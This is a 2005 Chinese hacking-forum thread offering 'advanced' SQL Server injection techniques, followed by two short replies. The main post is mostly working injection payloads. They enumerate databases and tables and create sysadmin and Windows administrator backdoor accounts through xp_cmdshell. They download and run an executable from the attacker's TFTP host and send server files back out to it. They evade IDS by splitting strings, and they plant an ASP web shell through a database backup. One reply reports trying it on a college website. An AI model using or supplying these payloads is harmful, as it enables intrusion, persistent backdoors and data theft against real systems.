标题:
桂林老兵的SQLSERVER高级注入技巧
[打印本页]
作者:
所谓伊人
时间:
2005-5-17 09:26
标题:
桂林老兵的SQLSERVER高级注入技巧
前言: 即是高级技巧,其它基本的注入方法就不详述了。 看不懂可查本站的注入基础文章。 为了更好的用好注入,建议大家看看本站的SQL语法相关文章 [获取全部数据库名] select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] select top 1 name from 数据库名.dbo.sysobjects where xtype=';u'; and status>0 and name not in(';table';) [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] select top 1 数据库名.dbo.col_name(object_id(';要查询的数据表名';),字段列如:1) [ where 条件] 通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456) news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作 news.asp?id=2;exec master.dbo.xp_cmdshell ';net user test test /add';;-- //添加系统用户test,密码为test news.asp?id=2;exec master.dbo.xp_cmdshell ';net localgroup administrators test /add';;-- //将系统用户test提升为管理员 这样,你在他的数据库和系统内都留下了test管理员账号了 面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开] id=2; exec master.dbo.xp_cmdshell ';tftp –i 你的IP get file.exe';;-- 然后运行这个文件: id=2; exec master.dbo.xp_cmdshell ';file.exe';;-- 下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]: id=2; exec master.dbo.xp_cmdshell ';tftp –i 你的IP Put file2.doc';;-- 绕过IDS的检测[使用变量] declare @a sysname set @a=';xp_';+';cmdshell'; exec @a ';dir c:\'; declare @a sysname set @a=';xp';+';_cm';+';dshell'; exec @a ';dir c:\'; 新加的: 建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件 backup database dbname to disk=';d:\web\db.asp';; 报错得到系统操作系统和数据库系统版本号 id=2 and 1<>(select @@VERSION);
作者:
丢失的蓝色
时间:
2005-5-17 09:44
标题:
桂林老兵的SQLSERVER高级注入技巧
呵呵.不错...
作者:
chinanic
时间:
2005-5-17 11:16
标题:
桂林老兵的SQLSERVER高级注入技巧
看了,但不太懂!
拿到我院网站上试了, 不行!
而且
IIS停止响应~!
晕
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2